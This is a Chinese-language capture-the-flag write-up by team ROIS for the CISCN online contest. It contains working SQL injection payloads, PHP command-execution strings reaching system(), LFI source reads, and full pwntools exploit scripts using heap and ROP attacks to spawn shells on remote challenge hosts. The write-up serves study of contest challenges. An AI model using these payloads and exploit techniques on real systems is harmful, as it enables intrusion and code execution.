ROIS CISCN 全国大学生信息安全竞赛线上赛 Writeup
ROIS CISCN线上初赛 Writeup Misc 签到 根据题目提示,三个男生女装对着摄像头跳宅舞就行了。我们跳的是《ハレ晴レユカイ》。 saleae 使用saleae logic打开,有4个channel,使用SPI协议分析,直接提取出flag 24c 还是使用saleae logic打开,有2个channel,使用I2C协议分析 查询24c文档可以知道Setup Write 之后需要
ROIS CISCN线上初赛 Writeup
Misc
签到
根据题目提示,三个男生女装对着摄像头跳宅舞就行了。我们跳的是《ハレ晴レユカイ》。
saleae
使用saleae logic打开,有4个channel,使用SPI协议分析,直接提取出flag

24c
还是使用saleae logic打开,有2个channel,使用I2C协议分析

查询24c文档可以知道Setup Write 之后需要输入的一个字符, 是为写储存的首地址
分析每段的输入 如下
第一段中为 , ord(' ') = 32
第二段中为 0,
第三段中为 \t, ord('\t') = 9
所以最终flag写的过程是

usbasp
4个channel,使用SPI协议分析,注意setting最后一条要修改,提取出一串ascii码,转码得到flag

Web
全宇宙最简单的SQL
盲注。
发现or、||被过滤,采用^配合AND进行注入。发现SLEEP和BENCHMARK被过滤,使用正则DoS方式进行时间盲注。又由于不知道列名,因此再套一层,Payload如下:
admin'^(select+(select b from (select 1 as a,2 as b from user where 1=2 union select * from user) b) like'f1ag%'+and+concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'))+RLIKE+'(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bb')^'1'%3d'1#
后发现,还可以使用报错注入。如果报错,页面会提示“数据库操作错误”。基本Payload如下:
username='^(select exp(~((select ( (( select c.b from (select 1 as a,2 as b,3 as d from user union select * from user)c where a='admin' )) ))*18446744073709551615)))#&password=admin
很快注出密码是f1ag@1s-at_/fll1llag_h3r3,不过因为大小写不正确,要使用binary like。最终验证:
username='^(select exp(~((select( 2*length(( select c.b from (select 1 as a,2 as b from user union select * from user)c where a like binary 'admin' and b like binary 'F1AG@1s-at\_/fll1llag\_h3r3' ))=25))*18446744073709551615)))#&password=1
登录进去后就是老梗题,最近至少出现了三次,利用MySQL来手动读文件。https://github.com/allyshka/Rogue-MySql-Server/
直接打即可。

JustSoSo

(但是没交上)
love_math
那么多数学函数,实际上唯一能用的只有进制转换类,即base_convert、dechex,通过其能导出[0-9a-z]在内的字符。
经过一大堆失败的实验,如:
// phpinfo();
(base_convert(55490343972,10,36))();
// system('cat /*');
$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));
// system($_GET);
$pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});
最后使用system(getallheaders(){9})
$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

RefSpace
首先扫目录,扫出
- /index.php
- /robots.txt
- /flag.txt
- /backup.zip
- /?route=app/index
- /?route=app/Up10aD
- /?route=app/flag
这个flag.txt看起来是加密过的,没啥用,先下载下来再说。从app/flag处,通过让参数为Array,可以得到报错信息,可以得到一个PHP文件/ctf/sdk.php

接着就是老梗LFI base64读源码,各种读。
http://e13d1dbeea094a64a4ad2b6677e8077947834b9a3b614242.changame.ichunqiu.com/?route=php://filter/read=convert.base64-encode/resource=app/index
读到/ctf/sdk.php,发现这是经过SourceGuardian加密的。作者给了个提示:
我们的SDK通过如下SHA1算法验证key是否正确:
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}
return false;
}
...
3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
出题人三令五申不要去解密这个文件,那应该就不需要解密这个文件。不管怎么说,本地反射先。
php > $a = new ReflectionClass('\interesting\FlagSDK');
php > var_dump($a->getMethods());
php shell code:1:
array(2) {
[0] =>
class ReflectionMethod#2 (2) {
public $name =>
string(7) "getHash"
public $class =>
string(19) "interesting\FlagSDK"
}
[1] =>
class ReflectionMethod#3 (2) {
public $name =>
string(6) "verify"
public $class =>
string(19) "interesting\FlagSDK"
}
}
php > var_dump($a->getProperties());
php shell code:1:
array(1) {
[0] =>
class ReflectionProperty#2 (2) {
public $name =>
string(8) "flagPath"
public $class =>
string(19) "interesting\FlagSDK"
}
}
php > $d = $a->getProperty('flagPath');
php > echo $d->getValue($b);
/var/www/html/flag.txt
可以看出这个类就两个函数,getHash和verify,还有一个flagPath的属性,值是那个flag.txt。但不知道这个getHash的返回值究竟是啥,反射调用先
php > $b = new \interesting\FlagSDK();
php > $cc = $a->getMethod('getHash');
php > $cc->setAccessible(true);
php > echo $cc->invoke($b);
a356bc8d9d3e69beea3c15d40995f395425e7813
似乎是个固定值,服务器上通过phar传Shell也证明了这一点。But nobody cares,实践才是最重要的。让我们来手撕加密吧。(出题人内心OS:??????我不是都说别搞我加密了吗)
先去clone PHP源码,编译一下,再去SourceGuardian官网下载和我本地对应版本的PHP扩展,然后根据他的代码来模仿写一个:

接着让我们来魔改PHP内核,在zend_vm_init_call_frame处打log来得到函数调用信息:

然后执行代码,从这个函数调用,就可以看出getHash真的只是return 'a356bc8d9d3e69beea3c15d40995f395425e7813'而已,并没有别的用途。
我们现在知道,flag其实就藏在verify函数里了。我本来想给所有和比较有关的函数都打上标记,但根据题目提示,题目只用到了===。因此修改zend_is_identical的返回值,直接让他return 1.
然后把题目给的flag.txt丢到/var/www/html/flag.txt,就跑出来了。
另外,这个被加密的代码逻辑是
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
$a = base64_decode(file_get_contents($this->flagPath));
return openssl_private_decrypt($a, "RSA_KEY");
}
return false;
}
很容易也就能把他的RSA密钥解出来,这个就没啥好说的了。专业SG11解密,比市场价便宜.jpg
Re
easyGo
下载了个golanghelper帮助IDA发现程序
动态跟踪后发现flag就在内存中
pwndbg> telescope 0xc0000181e0
00:0000│ rsi r12 0xc0000181e0 ◂— 0x3032397b67616c66 ('flag{920')
01:0008│ 0xc0000181e8 ◂— 0x33332d6661643439 ('94daf-33')
02:0010│ 0xc0000181f0 ◂— 0x2d653133342d3963 ('c9-431e-')
03:0018│ 0xc0000181f8 ◂— 0x6662382d61353861 ('a85a-8bf')
04:0020│ 0xc000018200 ◂— 'bd5df98ad}'
05:0028│ 0xc000018208 ◂— 0x7d64 /* 'd}' */
06:0030│ 0xc000018210 ◂— 0x0
bbvvmm
程序验证username和passwd
username用了sm4加密又base64,sm4密钥给了,逆着来就行了
passwd验证的代码太长,动态开调,后来发现就写在内存中
#https://github.com/yang3yen/pysm4
from pysm4 import decrypt
import base64
#a = "IJLMNOPKABDEFGHCQRTUVWXSYZbcdefa45789+/6ghjklmnioprstuvqwxz0123y"
#b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
#crypto_text = "RVYtG85NQ9OPHU4uQ8AuFM+MHVVrFMJMR8FuF8WJQ8Y="
#table = ''.maketrans(a, b)
#print(base64.b64decode(crypto_text.translate(table)))
m = 0xEF468DBAF985B2509C9E200CF3525AB6
key = 0xda98f1da312ab753a5703a0bfd290dd6
temp = hex(decrypt(m,key))[2:-1]
a = ""
for i in range(len(temp)/2):
a += chr(int(temp[2*i:2*i+2],16))
temp = a
a = ""
for i in range(len(temp)/2):
a += chr(int(temp[2*i:2*i+2],16))
print "name is " + a
username = "badrer12"
密码出现在内存中
00000000022D14F0 C0 25 2D 02 00 00 00 78 72 00 00 00 00 00 00 0A ..-....xr.......
00000000022D1500 C0 25 2D 02 00 00 00 79 71 00 00 00 00 00 00 08 ..-....yq.......
00000000022D1510 C0 25 2D 02 00 00 00 7A 77 00 00 00 00 00 00 0D ..-....zw.......
00000000022D1520 C0 25 2D 02 00 00 00 7B 65 00 00 00 00 00 00 1E ..-....{e.......
00000000022D1530 C0 25 2D 02 00 00 00 7C 72 00 00 00 00 00 00 0E ..-....|r.......
00000000022D1540 C0 25 2D 02 00 00 00 7D 71 00 00 00 00 00 00 0C ..-....}q.......
00000000022D1550 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
passwd="xyz{|}"
from pwn import *
p = remote("39.97.228.196","10001")
p.recvuntil("Username:")
p.sendline("badrer12")
p.recvuntil("Password:")
p.send("xyz{|}")
p.interactive()
Pwn
your_pwn
数组下标越界造成任意读和写(代码有点丑
from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
# p = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
def main():
gdb.attach(p)
p.recvuntil("input your name \nname:")
p.send("\x00")
start_offset = 349
program_base = 0
#leak program_base
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset-i))
p.recvuntil("now value(hex) ")
temp = int(p.recvuntil("\n",drop=True)[-2:],16)
print temp
program_base = (program_base << 8) + temp
print program_base
p.recvuntil("input new value")
p.sendline(str(temp))
program_base -= 0xb11
success("program_base : " + hex(program_base))
#0x0000000000000d03 : pop rdi ; ret
#puts(got[puts]) and return main
start_offset = 344+0x8
pop_rdi = program_base + 0xd03
puts_addr = elf.symbols["puts"] + program_base
puts_got = elf.got["puts"] + program_base
main_addr = program_base + 0xa65
for i in range(2):
p.recvuntil("input index")
p.sendline(str(344+i))
p.recvuntil("input new value")
p.sendline(str((pop_rdi&(0xff<<i*8))>>i*8))
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset+i))
p.recvuntil("now value(hex) ")
p.recvuntil("input new value")
p.sendline(str((puts_got&(0xff<<i*8))>>i*8))
start_offset += 0x8
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset+i))
p.recvuntil("now value(hex) ")
p.recvuntil("input new value")
p.sendline(str((puts_addr&(0xff<<i*8))>>i*8))
start_offset += 0x8
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset+i))
p.recvuntil("now value(hex) ")
p.recvuntil("input new value")
p.sendline(str((main_addr&(0xff<<i*8))>>i*8))
for i in range(15):
p.recvuntil("input index")
p.sendline("1")
p.recvuntil("input new value")
p.sendline("1")
#write ret value to one_gadget
p.recvuntil("do you want continue(yes/no)? ")
p.sendline("yes")
p.recvuntil("\n")
puts_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))
success("puts : " + hex(puts_addr))
p.recvuntil("input your name \nname:")
p.send("\x00")
libc_base = puts_addr - 0x6f690
one_gadget = libc_base + 0x45216
start_offset = 344
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset+i))
p.recvuntil("now value(hex) ")
p.recvuntil("input new value")
p.sendline(str((one_gadget&(0xff<<i*8))>>i*8))
for i in range(35):
p.recvuntil("input index")
p.sendline("1")
p.recvuntil("input new value")
p.sendline("1")
p.recvuntil("do you want continue(yes/no)? ")
p.sendline("no")
p.interactive()
if __name__ == "__main__":
main()
daily
free的时候没有检查index是否合法
from pwn import *
def show():
p.sendafter(':', '1')
def add(size, cont):
p.sendafter(':', '2')
p.sendafter('daily:', str(size))
p.sendafter('\n', cont)
def edit(idx, cont):
p.sendafter(':', '3')
p.sendafter(':', str(idx))
p.sendafter('\n', cont)
def free(idx):
p.sendafter(':', '4')
p.sendafter(':', str(idx))
def leak():
add(0x100, '0')
add(0x100, '1')
add(0x100, '2')
add(0x100, '3')
add(0x100, '4')
free(3)
free(1)
free(4)
free(2)
free(0)
add(0x100, '0'*8)
add(0x210, '1'*8)
add(0x100, '2'*8)
show()
p.recvuntil('1'*8)
libc_base = u64(p.recvuntil('2 : '+'2'*8, drop=True).ljust(8, '\x00')) - 0x3c4b78
heap = u64(p.recvuntil('=', drop=True).ljust(8, '\x00')) - 0x110
free(0)
free(1)
free(2)
return heap, libc_base
def exploit(host, port=58512):
global p
if host:
p = remote(host, port)
else:
p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
gdb.attach(p, 'source ./gdb.script\n')
heap, libc.address = leak()
info('heap @ '+hex(heap))
info('libc @ '+hex(libc.address))
add(0x60, p64(0) + p64(heap+0x10))
add(0x60, '/bin/sh\x00') #1
add(0x7f, '2')
free((heap+0x10-0x602060)/0x10)
edit(0, p64(0x602078))
add(0x60, '3') #0
add(0x60, p64(libc.sym['__free_hook'])) # point to address of #2 : 0x602088
edit(2, p64(libc.sym['system']))
free(1)
p.interactive()
if __name__ == '__main__':
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
exploit(args['REMOTE'])
baby_pwn
通过爆破修改alarm@got最低位指向sysenter从而判断远程libc版本,再利用read()使得eax=sys_write即可泄露
from pwn import *
context.update(os='linux', arch='i386')
def exploit(host, port=33865):
if host:
p = remote(host, port)
else:
p = process('./pwn', env={'LD_PRELOAD':'./libc6-i386_2.23-0ubuntu11_amd64.so'})
gdb.attach(p, 'source ./gdb.script')
ropchain = [
elf.plt['read'], p_esi_edi_ebp_r,
0, elf.got['alarm'], 1,
elf.plt['read'], p_esi_edi_ebp_r,
0, 0x0804A000, 0x100,
p_ebx_r, 1,
elf.plt['alarm'],
elf.plt['read'], p_esi_edi_ebp_r,
0, elf.got['setvbuf'], 0x10,
elf.plt['setvbuf'], 0,
elf.got['setvbuf']+4,
]
p.send(('A'*40 + 'B'*4 + flat(ropchain)).ljust(0x100, '\x00'))
p.send('\x2b')
p.send('\x00'*4)
p.recv(0xc)
libc.address = u32(p.recv(4)) - libc.sym['read']
info('libc.address @ '+hex(libc.address))
p.send(p32(libc.sym['system']) + '/bin/sh\x00')
p.interactive()
if __name__ == '__main__':
elf = ELF('./pwn')
libc = ELF('./libc6-i386_2.23-0ubuntu11_amd64.so')
p_ebx_esi_edi_ebp_r = 0x080485d8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
p_esi_edi_ebp_r = 0x080485d9 # pop esi ; pop edi ; pop ebp ; ret
p_ebx_r = 0x0804837d # pop ebx ; ret
exploit(args['REMOTE'])
Double
数据为单向链表结构,在add()时通过添加两次相同数据,可以触发fastbin attack,将堆块分配至bss段,从而修改链表头指针,达到任意读写
from pwn import *
def add(data):
p.sendlineafter('> ', '1')
if len(data)<256:
data += '\n'
p.sendafter('data:\n', data)
def show(idx):
p.sendlineafter('> ', '2')
p.sendlineafter('index: ', str(idx))
def edit(idx, data):
p.sendlineafter('> ', '3')
p.sendlineafter('index: ', str(idx))
if len(data)<256:
data += '\n'
p.send(data)
def free(idx):
p.sendlineafter('> ', '4')
p.sendlineafter('index: ', str(idx))
def exploit(host, port=40002):
global p
if host:
p = remote(host, port)
else:
p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
gdb.attach(p, 'source ./gdb.script')
add('A'*0x60) #0
add('A'*0x60) #1
free(1)
edit(0, p64(0x4040b0-3))
add('1'*0x60) #1
add('\x00'*0x60) #0
edit(0, '\x77'*3 + p64(elf.got['free']) + p64(0) + p64(0x4040b8) + p64(0x4040b8) + '/bin/sh\x00')
show(0)
libc.address = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00')) - libc.sym['free']
info('libc.address @ '+hex(libc.address))
edit(0, p64(libc.sym['system']))
add('/bin/sh')
free(1)
p.interactive()
if __name__ == '__main__':
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
exploit(args['REMOTE'])
bms
通过double free来检测远程libc版本>=2.26,pwnable.tw的heap_paradise原题,但是libc版本不同,利用思路相同,修改_IO_2_1_stdout_的头部造成泄露,再通过tcache attack来达到任意写
from pwn import *
def auth(p):
p.sendlineafter('name:', 'admin')
p.sendlineafter('word:', 'frame')
def __add__(p, name, size, desc):
p.sendlineafter('>', '1')
p.sendafter(':', name)
p.sendafter(':', str(size))
p.sendafter('description:', desc)
def __free__(p, idx):
p.sendlineafter('>', '2')
p.sendafter(':', str(idx))
def exploit(host, port=40001):
if host:
p = remote(host, port)
else:
p = process('./pwn', env={'LD_PRELOAD':libc_name})
gdb.attach(p, 'source ./gdb.script')
auth(p)
add = lambda x,y,z: __add__(p, x, y, z)
free = lambda x: __free__(p, x)
add('0', 0x60, 'desc') #0
free(0)
free(0)
add('1', 0x60, p64(0x602020)) #1
add('2', 0x60, 'desc') #2
add('3', 0x60, '\x20')
add('4', 0x60, p64(0xfbad1800) + p64(0)*3 + '\x00')
p.recv(24)
libc.address = u64(p.recv(8)) - 0x3d73e0 # - 0x74d0
info('libc.address @ '+hex(libc.address))
add('5', 0x90, 'desc')
free(5)
free(5)
add('6', 0x90, p64(libc.sym['__free_hook']))
add('7', 0x90, '/bin/sh\x00')
add('8', 0x90, p64(libc.sym['system']))
free(7)
p.interactive()
if __name__ == '__main__':
# libc_name = './libc.so.6'
libc_name = './libc6_2.26-0ubuntu2_amd64.so'
libc = ELF(libc_name)
exploit(args['REMOTE'])
Crypto
puzzles
from z3 import *
a1 = Real("a1")
a2 = Real("a2")
a3 = Real("a3")
a4 = Real("a4")
s = Solver()
s.add(13627*a1+26183*a2+35897*a3+48119*a4 == 347561292)
s.add(23027*a1+38459*a2+40351*a3+19961*a4 == 361760202)
s.add(36013*a1+45589*a2+17029*a3+27823*a4 == 397301762)
s.add(43189*a1+12269*a2+21587*a3+33721*a4 == 350830412)
print s.check()
m = s.model()
print(m)
part1
http://smallprimenumber.blogspot.com/2008/12/prime-number-from-26000000-to-26500000.html

part2高数在线微积分网站
part3&&part4
大物和三重积分

得
flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}
part_des
题目给出了全部的round key 和 某一轮加密的结果
github 搜一个des的代码 把round key 赋入. 并且遍历某round 把加密结果替换
# -*- coding: utf-8 -*-
# S盒 的置换矩阵
S_MATRIX = [(14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13),
(15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9),
(10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12),
(7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14),
(2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3),
(12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13),
(4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12),
(13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11)]
# P置换的置换矩阵
P_MATRIX = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
# IP置换的 置换矩阵
IP_MATRIX = [58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6,
64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7]
# 压缩置换矩阵 从56位里选48位
COMPRESS_MATRIXS = [14, 17, 11, 24, 1, 5,
3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55,
30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53,
46, 42, 50, 36, 29, 32]
# E扩展置换矩阵
E_MATRIX = [32, 1, 2, 3, 4, 5,
4, 5, 6, 7, 8, 9,
8, 9, 10, 11, 12, 13,
12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21,
20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29,
28, 29, 30, 31, 32, 1]
# IP逆置换矩阵
IP_INVERSE_MATRIX = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]
# IP置换
def IP(Mingwen):
#如果长度不是64 就退出
assert len(Mingwen) == 64
ret = ""
#通过循环 进行IP置换
for i in IP_MATRIX:
ret = ret + Mingwen[i - 1]
return ret
# 循环左移位数
def shift(str, shift_count):
try:
if len(str) > 28:
raise NameError
except TypeError:
pass
str = str[shift_count:] + str[0:shift_count]
return str
#由密钥 得到子密钥
def createSubkey(key):
# 如果key长度不是64 就退出
assert len(key) == 64
#DES的密钥由64位减至56位,每个字节的第8位作为奇偶校验位
#把56位 变成 2个28位
Llist = [57, 49, 41, 33, 25, 17, 9,
1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27,
19, 11, 3, 60, 52, 44, 36]
Rlist = [63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29,
21, 13, 5, 28, 20, 12, 4]
# 初试生成 左右两组28位密钥
L0 = ""
R0 = ""
for i in Llist:
L0 += key[i - 1]
for i in Rlist:
R0 += key[i - 1]
assert len(L0) == 28
assert len(R0) == 28
#轮函数生成 48位密钥
#定义轮数
Movetimes = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
#定义返回的subKey
retkey = []
#开始轮置换
for i in range(0, 16):
#获取左半边 和 右半边 shift函数用来左移生成轮数
L0 = shift(L0, Movetimes[i])
R0 = shift(R0, Movetimes[i])
#合并左右部分
mergedKey = L0 + R0
tempkey = ""
# 压缩置换矩阵 从56位里选48位
#选出48位子密钥
for i in COMPRESS_MATRIXS:
tempkey += mergedKey[i - 1]
assert len(tempkey) == 48
#加入生成子密钥
retkey.append(tempkey)
return retkey
# E扩展置换 把右边32位扩展为48位
def E_expend(Rn):
retRn = ""
for i in E_MATRIX:
retRn += Rn[i - 1]
assert len(retRn) == 48
return retRn
# S盒替代运算
def S_sub(S_Input):
#从第二位开始的子串 去掉0X
S_Input = bin(S_Input)[2:]
while len(S_Input) < 48:
S_Input = "0" + S_Input
index = 0
retstr = ""
for Slist in S_MATRIX:
# 输入的高低两位做为行数row
row = int(S_Input[index] + S_Input[index + 5], base=2)
# 中间四位做为列数L
col = int(S_Input[index + 1:index + 5], base=2)
# 得到 result的 单个四位输出
ret_single = bin(Slist[row * 16 + col])[2:]
while len(ret_single) < 4:
ret_single = "0" + ret_single
# 合并单个输出
retstr += ret_single
# index + 6 进入下一个六位输入
index += 6
assert len(retstr) == 32
return retstr
def P(Ln, S_sub_str, oldRn):
# P 盒置换
tmp = ""
for i in P_MATRIX:
tmp += S_sub_str[i - 1]
# P盒置换的结果与最初的64位分组左半部分L0异或
LnNew = int(tmp, base=2) ^ int(Ln, base=2)
LnNew = bin(LnNew)[2:]
while len(LnNew) < 32:
LnNew = "0" + LnNew
assert len(LnNew) == 32
# 左、右半部分交换,接着开始另一轮
(Ln, Rn) = (oldRn, LnNew)
return (Ln, Rn)
def IP_inverse(L16, R16):
tmp = L16 + R16
retstr = ""
for i in IP_INVERSE_MATRIX:
retstr += tmp[i - 1]
assert len(retstr) == 64
return retstr
# DES 算法实现 flag是标志位 当为-1时, 是DES解密, flag默认为0
def DES (text, key, flag = "0", ii = -1):
# 初始字段
# IP置换
InitKeyCode = IP(text)
# 产生子密钥 集合
subkeylist = createSubkey(key)
subkeylist = ["111000001011111001100110000100000011001011010101", "111100001011011001110110111110000010000010010101", "111001001101011001110110001000110110001010001111", "111001101101001101110110001101100011000110000011", "101011101101001101110011101001100000000101100111", "101011110101001101111011010001101010101111000010", "101011110101001111011001011101001000010101011001", "000111110101101111011001010010111001010001001010", "001111110100100111011001010010001001011111101010", "000111110110100110011101000111001101110000101001", "000111110010110110011101010010100101110001110000", "010111110010110010101101100010011110100100111000", "110110111010110010101100101000010101111000010000", "110110001010111010101110110110010000001000110110", "111100001011111000101110100101010100101010001100", "111100001011111010100110000100010010111010000100", ]
# 获得Ln 和 Rn
Ln = InitKeyCode[0:32]
Rn = InitKeyCode[32:]
if (flag == "-1") :
subkeylist = subkeylist[::-1]
i = 0
for subkey in subkeylist:
while len(Rn) < 32:
Rn = "0" + Rn
while len(Ln) < 32:
Ln = "0" + Ln
# 对右边进行E-扩展
Rn_expand = E_expend(Rn)
# 压缩后的密钥与扩展分组异或以后得到48位的数据,将这个数据送入S盒
S_Input = int(Rn_expand, base=2) ^ int(subkey, base=2)
# 进行S盒替代
S_sub_str = S_sub(S_Input)
#P盒置换 并且
# 左、右半部分交换,接着开始另一轮
(Ln, Rn) = P(Ln, S_sub_str, Rn)
if(i == ii):
#Rn, Ln = '10010010110110010001010100100101', '00000001000110011110000100101011'
Ln, Rn = '10010010110110010001010100100101', '00000001000110011110000100101011'
i = i + 1
#进行下一轮轮置换
# 最后一轮之后 左、右两半部分并未进行交换
# 而是两部分合并形成一个分组做为末置换的输入。
# 所以要重新置换 一次
(Ln, Rn) = (Rn, Ln)
# 末置换得到密文
re_text = IP_inverse(Ln, Rn)
return re_text
if __name__ == "__main__":
for i in range(16):
key = "0001001000110100010101100111100010110001001000110100010101100111"
Mingwen = "1001001011011001000101010010010100000001000110011110000100101011"
ciphertext = DES(Mingwen, key, ii= i)
Mingwen = "1001001011011001000101010010010100000001000110011110000100101011"
#打印加密后的密文
print( hex(int(ciphertext, base=2)))
falseKey = "1001001011011001000101010010010100000001000110011110000100101011"
decode_ciphertext = DES(ciphertext, key, "-1")
#打印解密后的明文 看是否相同
print(hex(int(decode_ciphertext, base=2)).upper())
把输出转化为字符. 发现 79307572394F6F64 可转为 y0ur9Ood
Asymmetric
爆破 p, r
from math import log2
target= 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721
r = 4
left = 1
rbit = 1024
step = int(log2(2**rbit - left)) - 8
while True:
step = step - 1
for i in range(left, 2**rbit+1, 2 ** step):
if i ** r == target:
print(i, 'solve')
exit()
if i ** r > target:
left = i - 2 ** step
print(i)
break
else:
print('noooooo')
break
得到
p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4
计算 φ(p^k)=(p-1)p^(k-1)
求逆元, 解码 done.
import gmpy2
from Crypto.Util.number import *
